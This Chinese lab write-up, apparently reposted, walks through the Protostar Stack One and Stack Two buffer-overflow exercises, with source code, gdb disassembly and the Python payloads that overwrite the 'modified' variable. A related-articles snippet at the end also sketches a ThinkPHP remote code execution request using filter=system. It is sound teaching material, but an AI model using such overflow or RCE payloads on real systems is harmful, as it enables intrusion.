二进制安全虚拟机Protostar靶场(2)基础知识讲解,栈溢出覆盖变量 Stack One,Stack Two

2023-11-07

在这里插入图片描述

前言

Protostar靶场的安装和一些二进制安全的基础介绍在前文已经介绍过了,这里是文章链接

https://blog.csdn.net/qq_45894840/article/details/129490504?spm=1001.2014.3001.5501

什么是缓冲区溢出

当系统向缓冲区写入的数据多于它可以容纳的数据时,就会发生缓冲区溢出或缓冲区溢出,用更简单的话说就是在程序运行时,系统会为程序在内存里生成一个固定空间,如果超过了这个空间,就会造成缓冲区溢出,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,甚至可以取得系统特权,进而进行各种非法操作

什么是寄存器

寄存器是内存中非常靠近cpu的区域,因此可以快速访问它们,但是在这些寄存器里面能存储的东西非常有限

计算机寄存器是位于CPU内部的一组用于存储和处理数据的高速存储器。用于存放指令、数据和运算结果

常见的寄存器名称以及作用:

累加器寄存器(Accumulator Register,EAX):用于存储操作数和运算结果,在算术和逻辑操作中经常使用。

基址指针寄存器(Base Pointer Register,EBP):用于指向堆栈帧的基地址,通常用于函数调用和局部变量访问。

堆栈指针寄存器(Stack Pointer Register,ESP):指向当前活动堆栈的栈顶地址,在函数调用和参数传递中经常使用。

数据寄存器(Data Register,EDX、ECX、EBX):用于存储数据,在算术和逻辑操作中经常使用。

指令指针寄存器(Instruction Pointer Register,EIP):存储当前要执行的指令的内存地址,用于指示下一条要执行的指令。

Stack One

程序静态分析

https://exploit.education/protostar/stack-one/

在这里插入图片描述

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

源代码分析

首先程序定义了两个函数变量

volatile int modified;
char buffer[64];

整数型变量 modified 和字符型变量buffer,其中字符型变量buffer的字符存储最大为64个字节

然后程序检测了我们输入的参数

if(argc == 1) {
    errx(1, "please specify an argument\n");
}

如果我们只运行程序,不输入参数就会输出please specify an argument并结束程序

之后程序定义了一个变量和进行了一个字符串复制操作

modified = 0;
strcpy(buffer, argv[1]);

modified变量为0,然后将我们输入的参数复制到buffer变量里

然后程序做了一个简单的if判断

if(modified == 0x61626364) {
    printf("you have correctly got the variable to the right value\n");
} else {
    printf("Try again, you got 0x%08x\n", modified);

如果modified变量等于0x61626364就输出you have correctly got the variable to the right value,代表着我们破解成功
0x61626364是十六进制,转换字符串是大写的ABCD
在这里插入图片描述

也就是说,我们使modified变量变成ABCD就成功了,但是modified变量设置为0,这里我们就需要栈溢出覆盖变量原本设置的值

汇编分析

使用gdb打开程序,输入指令查看汇编代码

set disassembly-flavor intel
disassemble main

在这里插入图片描述

0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret

程序最关键的地方在这里

0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>

它使用mov指令将esp+0x5c栈内地址的值移动到eax寄存器里,然后用cmp指令将eax寄存器里的值与0x61626364做对比,如果对比的值不一样就执行jne指令跳转到0x80484c0地址继续执行其他指令

程序动态分析

我们先在程序执行对比指令的地址下一个断点

b *0x080484ab

然后设置一下自动运行我们设置的命令

define hook-stop
info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

在这里插入图片描述

然后执行程序,并指定参数

r AAAAAAAA

在这里插入图片描述

程序执行到我们设置的断点处自动执行了我们上面设置的命令,在这里可以看到我们输入的8个大写A在栈中的位置,并且eax寄存器里的值为0

之前说过,程序将esp+0x5c地址处的值移动到了eax寄存器里,然后执行对比指令

在这里插入图片描述

我们查看esp+0x5c地址存放的值

x/wx $esp+0x5c

在这里插入图片描述

esp+0x5c地址就是栈里的0xbffff78c,每一段存放四个字符,c代表的是12

在这里插入图片描述

从存放我们输入的值的栈地址到esp+0x5c,中间共有64个字符,也就是说,我们需要输出64个字符+4个我们指定的字符才能覆盖modified变量

在这里插入图片描述

在这里还有一个知识点是在x86架构里,读取是由低到高的,要使modified变量变成0x61626364,不能直接输入abcd,而是dcba

 python -c "print('A'*(4*16)+'dcba')"

在这里插入图片描述

成功破解了程序

Stack Two

程序静态分析

https://exploit.education/protostar/stack-two/

在这里插入图片描述
程序源代码:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

这个程序代码和第一个差不多,只不过是将我们的输入变成了读取环境变量里的GREENIE变量内容

什么是环境变量

任何计算机编程语言的两个基本组成部分,变量和常量。就像数学方程式中的自变量一样。变量和常量都代表唯一的内存位置,其中包含程序在其计算中使用的数据。两者的区别在于,变量在执行过程中可能会发生变化,而常量不能重新赋值

这里只举几个常见的环境变量

$PATH

包含了一些目录列表,作用是终端会在这些目录中搜索要执行的程序
查看$PATH环境变量

echo $PATH

在这里插入图片描述

假如我要执行whoami程序,那么终端会在这个环境变量里搜索名为whoami程序

搜索的目录如下

/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
/usr/local/games
/usr/games

在这里插入图片描述

而whoami程序在/usr/bin目录下,终端会执行这个目录下的whoami程序

在这里插入图片描述

而windows的PATH环境变量在这可以看到

在这里插入图片描述

在这里插入图片描述

$HOME

包含了当前用户的主目录

echo $HOME

在这里插入图片描述

$PWD

包含了当前用户目前所在的目录位置

在这里插入图片描述

关于环境变量的更多信息:

https://en.wikipedia.org/wiki/Environment_variable

破解程序

回到正题

variable = getenv("GREENIE");
strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

首先获取了一个名为GREENIE的环境变量,然后将内容赋予variable变量,之后if判断modified是否等于0x0d0a0d0a,这个和第一个程序一模一样,只不过我们不是通过输入来破解程序,而是将payload放到指定的环境变量里,然后程序读取环境变量

export GREENIE=$(python -c "print 'A'*(4*16)+'\x0a\x0d\x0a\x0d'"); ./stack2

直接运行就能成功破解了

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

二进制安全虚拟机Protostar靶场(2)基础知识讲解,栈溢出覆盖变量 Stack One,Stack Two 的相关文章

  • 命令登陆mysql数据库_命令操作Mysql数据库

    MySql中添加用户 新建数据库 用户授权 删除用户 修改密码 注意每行后边都跟个 表示一个命令语句结束 1 新建用户 1 1 登录MYSQL gt mysql u root p gt 密码 1 2 创建用户 登录mysql后创建新用户 后
  • Android屏幕适配全攻略

    Android屏幕适配出现的原因 在我们学习如何进行屏幕适配之前 我们需要先了解下为什么Android需要进行屏幕适配 由于Android系统的开放性 任何用户 开发者 OEM厂商 运营商都可以对Android进行定制 修改成他们想要的样子
  • 2020运营商SDN和NFV的投入超200亿美元

    近两年 在网络领域最火热的非软件定义网络SDN和网络功能虚拟化NFV莫属 并且可以预计 在未来的一段时间内 SDN和NFV都将成为网络世界的 主角 其中SDN将让网络具备可灵活调配资源的能力 从而提高网络利用率 并降低网络服务成本 是未来新
  • 复现ThinkPHP5 5.0.23远程代码执行漏洞

    访问 index php s captcha页面 会出现如下报错 执行whoami 查看当前目录 method construct filter system method get server REQUEST METHOD pwd 写入一
  • 最大公约数和最小公倍数问题

    等差数列 蓝桥杯192 gcd问题 题目描述 数学老师给小明出了一道等差数列求和的题目 但是粗心的小明忘记了一 部分的数列 只记得其中 N 个整数 现在给出这 N 个整数 小明想知道包含这 N 个整数的最短的等差数列有几项 思路 求出每一项
  • Web学习笔记4:html初级篇-基础标签(1)

    话接上次 一 基本框架 在html语言中 也会有所谓的基本框架 我们来看一下 我们来一个一个解释 首先 我们要明确一点 框架中的标签都是一对的 这是什么意思 我们可以看到 在框架中有和 有和 有和 这些 只要是中间的文字一样 且标签形式为前

随机推荐

  • nginx中斜杠(/)详解

    本文主要介绍了nginx中斜杠 详解 配置location proxy pass时 加 与不加 的区别 文中通过示例代码介绍的非常详细 具有一定的参考价值 感兴趣的小伙伴们可以参考一下 不知大家日常在nginx配置时 是不是会对是否加斜杠充
  • 练习:字符串统计(坑:f‘string‘报错)

    练习 字符串统计 今天刷到字符串统计的题目 能看懂了 用自己的代码也来实现一次 题目 代码实现 re代码实现 f str 报错 我的博文推荐 练习题目 回首页 代码运行效果 python代码 如果从语句注释不能清楚作用 请评论区留言指教和探
  • android中的UI视图更新不能放在子线程中操作

    surfaceview不能再子线程里更新 需要通过Handler更新
  • 部署Node节点 配置kubelet证书自动申请 CSR、审核及自动续期

    k8s1 18 8版本 kubelet首次启动流程 第一次启动时没有证书如何连接 apiserver 这个问题实际上可以去查看一下 bootstrap kubeconfig 和 token csv 得到答案 在 apiserver 配置中指
  • vite+vue+cesium搭建

    vite vue cesium搭建 学习教程 https www bilibili com video BV1X44y1x7J2 p 1 npm install g yarn npm安装yarn yarn v 查看yarn版本 cmd Wi
  • 服务器 分布式 虚拟化,「云计算」云计算的两大特性:虚拟化、分布式

    云计算技术出现以后 它会加速电信和互联网业务的融合 这个融合除了技术和运营方式的融合 或者创新模式的转变 主要是电信业务网络的全IP化和宽带化的发展 相互之间的渗透趋势越来越明显 借鉴互联网云计算发展思路 可以将电信网络现在的很多资源 包括
  • 系统提示缺少xinput1_3.dll怎么办?

    我们在使用电脑的过程中 总会遇到一些dll文件丢失的情况 大概是因为系统的内部组件受损或者是出现了某种冲突引起的 比如系统提示xinput1 3 dll丢失要如何解决呢 缺少xinput1 3 dll丢失怎么修复 1 出现如下的窗口提示 不
  • 【数据结构-队列】阻塞队列

    欢迎来到我的博客 很高兴能够在这里和您见面 希望您在这里可以感受到一份轻松愉快的氛围 不仅可以获得有趣的内容和知识 也可以畅所欲言 分享您的想法和见解 推荐 kuan 的首页 持续学习 不断总结 共同进步 活到老学到老 导航 檀越剑指大厂系
  • c++中 string 和 int 类型转换

    一 int 类型转换为 string 类型 示例 include
  • 逻辑综合——优化电路

    对进行时序路径 工作环境 设计规则等进行约束完成之后 DC就可以进行综合 优化时序了 DC在优化过程中主要的策略将在下面进行说明 然而 当普通模式下不能进行优化的 就需要我们进行编写脚本来改进DC的优化来达到时序要求 DC进行优化的目的是权
  • CTFSHOW萌新计划 web16-17

    题目地址 https ctf show 0x01 web16 这个直接爆破就可以了 但是如果你是官网群里的成员 就会知道有个36d的梗 payload 36d 爆破的话给个脚本 import hashlib str1 abcdefghijk
  • emulator: ERROR: x86 emulation currently requires hardware acceleration! Please ensure Intel HAXM is

    原文错误提示 emulator ERROR x86 emulation currently requires hardware acceleration Please ensure Intel HAXM is properly instal
  • ege库基于前中后序动态建立二叉树、序列检错以及查找公共父节点C++

    一 需求分析 1 任意输入前序 中序序列或者中序 后序序列 生成二叉树 3 利用打印二叉树功能显示二叉树的逐步构造过程 使用自上而下的二叉树显示 4 使用EGE xege org SFML www sfml dev org download
  • 写给程序员的机器学习入门 (九) - 对象识别 RCNN 与 Fast-RCNN

    因为这几个月饭店生意恢复 加上研究 Faster RCNN 用掉了很多时间 就没有更新博客了 这篇开始会介绍对象识别的模型与实现方法 首先会介绍最简单的 RCNN 与 Fast RCNN 模型 下一篇会介绍 Faster RCNN 模型 再
  • 如何利用双休日,每月稳定增加额外1500元收入?

    针对8种不同标签的人群 良心推荐12个稳定增加收入的副业 最短一天就能有收入 月入几千的大有人在 认真看有干货 很可能会成为你的主业 最好先点赞收藏 以免后面找不到 不管你是上班族还是学生党 一个副业除了可以帮助你赚钱 更重要的是给了你平淡
  • 国家开源软件资源库

    http yp oss org cn software show cat php cat id 5 基本信息 成熟度 Dimdim 2009 05 19 1 2 3 4 5 6 7
  • C++模板详解

    目录 1 什么是c 的模板 2 模板的概念 3 函数模板 1 什么是函数模板 2 函数模板的定义格式 3 案例 4 函数模板的实例化 1 隐式实例化 2 显式实例化 5 函数模板的重载 6 函数模板与普通函数小结 7 使用函数模板要注意的问
  • 将生成的pandas DataFrame数据写入excel的指定位置

    在文件中生成了DataFrame格式数据想要写入excel的指定位置 比如第三行的第二列 网上的方法基本是使用to excel直接写入 这样写入的位置就是固定的 不能指定位置 通过openpyxl灵活设置的方式写入数据 这种方式对传统的中国
  • LoadLibrary错误182

    转载请标明是引用于 http blog csdn net chenyujing1234 欢迎大家拍砖 一 问题描述 在win7下用一个MFC程序把从XP拷过来的msgina dll加载起来 调用LoadLibrary后返回错误码为 二 解决
  • 二进制安全虚拟机Protostar靶场(2)基础知识讲解,栈溢出覆盖变量 Stack One,Stack Two

    前言 Protostar靶场的安装和一些二进制安全的基础介绍在前文已经介绍过了 这里是文章链接 https blog csdn net qq 45894840 article details 129490504 spm 1001 2014